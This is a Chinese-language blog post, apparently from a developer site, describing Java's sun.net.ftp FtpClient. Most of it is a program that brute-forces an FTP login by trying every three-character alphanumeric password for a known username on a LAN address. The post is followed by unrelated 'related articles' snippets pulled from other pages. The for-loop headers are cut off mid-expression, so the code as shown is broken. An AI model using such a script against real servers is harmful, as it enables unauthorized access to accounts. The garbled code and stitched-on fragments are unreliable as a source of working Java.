sun.net包中包含了很多协议的相关内容 ,比如FTP、SMTP、WWW等。

其中的ftp包里的FtpClient类可以实现一个FTP客户端,它提供了FTP的一些常用命令,比如连接服务器,登录服务器,上传下载文件等。

相关的方法都封装了ftp命令,可以方便地调用。

不足之处是,很多方法的返回值都是void,比如登录服务器,当用户名或者密码错误的时候,会抛出异常,正确的时候返回void。它并没有返回ftp的错误代码等。

当在错误的时候,捕获异常,然后输出,可以看到里边的ftp错误代码。

我在这里仅仅用了其中的三个方法,一是构建了一个FtpClient对象,二是连接服务器,三是登录服务器。登录服务器采用的是穷举密码的方法。测试了下,速度还是挺快的。

package per.eyuan.ftp.core;

import java.io.IOException;

import sun.net.ftp.FtpClient;;

/**

* @author eyuan

* 使用穷举密码的办法登录FTP服务器

* 假设:用户名已知,密码长度已知

*/

public class FtpServerConnect {

FtpClient ftpClient=null;

String ip="";

int port=0;

String username="";

char[] password;

String passwd="";

/**

* main()

*/

public static void main(String[] args) {

FtpServerConnect fsc=new FtpServerConnect();

fsc.ip="192.168.1.105";

fsc.port=21;

fsc.username="mhb";

fsc.password=new char[3];

fsc.connectServer(fsc.ip, fsc.port);

StringBuffer sb=new StringBuffer();

for(int i=0;i<=9;i++){

sb.append(i);

}

for(char ch='A';ch<='Z';ch++){

sb.append(ch);

}

for(char ch='a';ch<='z';ch++){

sb.append(ch);

}

int sbLength=sb.length();

for(int i=0;i

fsc.password[0]=sb.charAt(i);

for(int j=0;j

fsc.password[1]=sb.charAt(j);

for(int k=0;k

fsc.password[2]=sb.charAt(k);

fsc.passwd=""+fsc.password[0]+fsc.password[1]+fsc.password[2];

if(fsc.loginServer(fsc.username, fsc.passwd)){

System.out.println("成功登录FTP服务器");

System.out.println("用户密码:"+fsc.passwd);

return;

}

}

}

}

}

/**

* 连接到指定IP地址的服务器上的指定端口的FTP服务

* @param String ip 服务器IP地址

* @param int port 服务器FTP端口

* @return boolean flagConnectServer 是否成功连接到服务器

*/

public boolean connectServer(String ip,int port){

boolean flagConnectServer=true;

ftpClient=new FtpClient();

try{

ftpClient.openServer(ip, port);

System.out.println("连接服务器成功");

}catch(IOException ioe){

flagConnectServer=false;

System.out.println("IP地址或者端口错误,无法连接到服务器");

}

return flagConnectServer;

}

/**

* 使用指定的用户名和密码登录指定的FTP服务器

* @param String username FTP用户名

* @param String password FTP密码

* @return boolean flagLoginServer 是否登录成功

*/

public boolean loginServer(String username,String password){

boolean flagLoginServer=true;

try {

ftpClient.login(username, password);

System.out.println("登录成功");

} catch (IOException e) {

flagLoginServer=false;

}

return flagLoginServer;

}

}

java穷举密码_Java实现穷举密码登录FTP服务器相关推荐

  1. java邮箱找回密码_java实现邮箱找回密码 简单邮件

    首先 发件人的POP/SMTP服务要打开   发件人的密码为服务的授权码 js方法 //找回密码 function send(){ var lostemail = $("#lostemail ...

  2. java web 找回密码_java web实现 忘记密码(找回密码)功能及代码

    java web实现 忘记密码(找回密码)功能及代码 (一).总体思路 (二).部分截图 (三).部分代码 (一).总体思路: 1.在 找回密码页面 录入 姓名.邮箱和验证码,录入后点击[提交]按钮, ...

  3. 我的世界java邮箱和密码_java实现邮箱找密码

    SMTP,POP3,IMAP POP3 POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电 ...

  4. 修改登录ftp服务器时用的密码,ftp服务器登录密码修改

    ftp服务器登录密码修改 内容精选 换一换 本文介绍如何在裸金属服务器操作系统内部修改登录密码.建议优先在控制台上重置密码,如果不可以,再尝试在操作系统内部修改登录密码.此处以CentOS 7.5版本 ...

  5. java编写脚本校验修改密码_java编写一个更改密码校验程序,有两个密码框,一个用于输入新密码,另一个请输入确认密码……...

    展开全部 import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JBu ...

  6. java shiro 访问频率_java shiro配置记住密码功能 RememberMe

    一般来讲,记住密码的基本处理,就是把用户的一些基本信息(密码)存入浏览器的Cookie,下次登录的时候优先验证Cookie,后端做处理:以此来实现记住密码的功能!使用shiro自带的RememberM ...

  7. java中修改密码_java怎样修改用户名密码?

    展开全部 package changepassword; import java.util.Scanner; public class Administrator{ String name;//姓名 ...

  8. java专业大学生入伍_JAVA程序征兵系统(包含登录系统和征兵系统)

    源代码: 账号密码在程序里面 import java.util.Scanner; public class Conscription { public static void main(String[ ...

  9. java socket5源码_Java利用TCP协议实现客户端与服务器通信【附通信源码】

    进行TCP协议网络程序的编写,关键在于ServerSocket套接字的熟练使用,TCP通信中所有的信息传输都是依托ServerSocket类的输入输出流进行的. TCP协议概念 先来了解一下TCP协议 ...

  10. java 不生成文件下载_java 下载文件时怎么避免在服务器上生成文件

    Stringpath=request.getSession().getServletContext().getRealPath("/");//服务器路径Stringname=de0 ...

最新文章

  1. python跨行字符串 变量_在Python中有没有在多行字符串中使用变量的方法?
  2. 厉害了,天刚一冷程序员就都换上了衬衫。。
  3. JNI实现源码分析【四 函数调用】
  4. java中printarray和selectsort方法_算法题(一)
  5. linux系统搭建ftp服务器--只给某个用户访问其默认目录下的文件
  6. .net Reflection(反射)- 二
  7. Linq to SQL之使用事务
  8. Java-变量、常量
  9. 泥塑课c语言,【C】泥塑课(From http://www.jisuanke.com/)
  10. 积分图像追踪目标 (一)
  11. php在函数中定义全局变量,PHP 全局变量在用户自定义函数内部不足见
  12. 沈阳建筑大学811c语言真题,沈阳建筑大学C语言试题.doc
  13. 最优秀最合理2019年移动便携图形工作站配置探讨
  14. Adobe证书含金量
  15. 生信技能树linux虚拟机,科学网—Windows10安装Linux子系统Ubuntu 20.04LTS,轻松使用生信软件,效率秒杀虚拟机 - 刘永鑫的博文...
  16. Hadoop3.2.1 【 YARN 】源码分析 : NodeStatusUpdaterImpl概述
  17. MySQL之CentOS安装MySQL
  18. ADAS不是自动驾驶汽车
  19. ListView的分割线相关属性
  20. arm汇编总结---让汇编不再神秘

热门文章

  1. 更适合小孩的电动牙刷,轻柔呵护口腔,Combo咸蛋超人电动牙刷上手
  2. 简体字转换繁体字的winfrom小程序
  3. Namesilo转出域名到US Domain Center美国域名注册商
  4. Spring Boot整合JPA
  5. 解决问题:PostgreSQL类型为 json, 但表达式的类型为 character varying
  6. 无刷直流电机 PWM控制
  7. android渠道首发规则,酷传推广标准手册-android渠道首发规则.doc
  8. 《抡语》 kong子 (收集)
  9. 数据库的系统组成包括哪些?
  10. 数据库系统(DBS)组成